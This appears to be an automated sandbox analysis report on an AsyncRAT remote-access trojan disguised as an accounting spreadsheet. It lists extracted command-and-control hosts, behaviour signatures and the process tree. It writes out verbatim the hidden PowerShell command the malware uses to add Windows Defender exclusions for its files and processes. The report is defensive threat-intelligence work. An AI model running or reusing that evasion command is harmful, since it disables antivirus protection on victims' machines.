Analysis
- max time kernel
150s - max time network
152s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
29/07/2026, 15:14
General
- Target Расчетная таблица бухгалтерского отдела_xlsx.exe
- Size 515KB
- Sample260729-sme1eaam21
- SHA256 ff3f577ca21b60efc5be62dc7b4dd0fd4f3c849be4cd3865172fa9064787d04e
Malware Config
Extracted
-
asyncrat
-
AA
-
yoindje.shop:8848
-
yoindje.shop:12159
-
aa
-
delay
1
-
install
false
-
install_folder
%AppData%
Signatures
- Family: AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
- Async RAT payload 1 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs
Run Powershell and hide display window.
- Executes dropped EXE 4 IoCs
- Loads dropped DLL 2 IoCs
- Adds Run key to start application 2 TTPs 3 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious use of AdjustPrivilegeToken 64 IoCs
- Suspicious use of WriteProcessMemory 4 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\Расчетная таблица бухгалтерского отдела_xlsx.exe"C:\Users\Admin\AppData\Local\Temp\Расчетная таблица бухгалтерского отдела_xlsx.exe"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\resources\psl.exe"C:\Users\Admin\resources\psl.exe"2⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\pmrun\wermgr.exe"C:\pmrun\wermgr.exe"3⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NonInteractive -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\pmrun' -ErrorAction SilentlyContinue;Add-MpPreference -ExclusionPath 'C:\pmrun\psl.exe' -ErrorAction SilentlyContinue;Add-MpPreference -ExclusionPath 'C:\Users\Admin\resources\libpsl-5.dll' -ErrorAction SilentlyContinue;Add-MpPreference -ExclusionProcess 'psl.exe' -ErrorAction SilentlyContinue;Add-MpPreference -ExclusionProcess 'wermgr.exe' -ErrorAction SilentlyContinue"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\pmrun\wermgr.exe"C:\pmrun\wermgr.exe"1⤵
- Executes dropped EXE
-
C:\pmrun\psl.exe"C:\pmrun\psl.exe" --background1⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NonInteractive -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\pmrun' -ErrorAction SilentlyContinue;Add-MpPreference -ExclusionPath 'C:\pmrun\psl.exe' -ErrorAction SilentlyContinue;Add-MpPreference -ExclusionPath 'C:\pmrun\libpsl-5.dll' -ErrorAction SilentlyContinue;Add-MpPreference -ExclusionProcess 'psl.exe' -ErrorAction SilentlyContinue;Add-MpPreference -ExclusionProcess 'wermgr.exe' -ErrorAction SilentlyContinue"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
StartupProfileData-NonInteractive
__PSScriptPolicyTest_mma5qbgc.0wc.ps1
libpsl-5.dll
psl.exe
wermgr.exe
memory/3504-108-0x000001CE76590000-0x000001CE765A4000-memory.dmp
memory/3504-57-0x00007FF7BDA70000-0x00007FF7BDA85000-memory.dmp
memory/3504-58-0x00007FFEFC1D0000-0x00007FFEFC1E6000-memory.dmp
memory/3952-53-0x000001C46B6C0000-0x000001C46B7B0000-memory.dmp
memory/4872-32-0x00007FFEE5110000-0x00007FFEE5AB4000-memory.dmp
memory/4872-43-0x000001F966F00000-0x000001F966F0A000-memory.dmp
memory/4872-27-0x00007FFEE5110000-0x00007FFEE5AB4000-memory.dmp
memory/4872-28-0x00007FFEE5110000-0x00007FFEE5AB4000-memory.dmp
memory/4872-29-0x00007FFEE5110000-0x00007FFEE5AB4000-memory.dmp
memory/4872-30-0x00007FFEE5110000-0x00007FFEE5AB4000-memory.dmp
memory/4872-17-0x00007FFEE529F000-0x00007FFEE52A0000-memory.dmp
memory/4872-25-0x00007FFEE5110000-0x00007FFEE5AB4000-memory.dmp
memory/4872-34-0x00007FFEE5110000-0x00007FFEE5AB4000-memory.dmp
memory/4872-35-0x00007FFEE5110000-0x00007FFEE5AB4000-memory.dmp
memory/4872-39-0x000001F966C10000-0x000001F966C2E000-memory.dmp
memory/4872-40-0x000001F966C30000-0x000001F966CE2000-memory.dmp
memory/4872-41-0x00007FFEE5110000-0x00007FFEE5AB4000-memory.dmp
memory/4872-26-0x00007FFEE5110000-0x00007FFEE5AB4000-memory.dmp
memory/4872-24-0x00007FFEE5110000-0x00007FFEE5AB4000-memory.dmp
memory/4872-49-0x000001F967180000-0x000001F967270000-memory.dmp
memory/4872-50-0x00007FFEE5110000-0x00007FFEE5AB4000-memory.dmp
memory/4872-23-0x00007FFEE5110000-0x00007FFEE5AB4000-memory.dmp
memory/4872-22-0x00007FFEE5110000-0x00007FFEE5AB4000-memory.dmp
memory/4872-18-0x00007FFEE5110000-0x00007FFEE5AB4000-memory.dmp
memory/4872-21-0x000001F966A50000-0x000001F966A72000-memory.dmp
memory/5060-33-0x00007FF766190000-0x00007FF7661A3000-memory.dmp
memory/5064-54-0x00007FF65E650000-0x00007FF65E665000-memory.dmp
memory/5064-55-0x00007FFEFC340000-0x00007FFEFC356000-memory.dmp
memory/5752-56-0x00007FF766190000-0x00007FF7661A3000-memory.dmp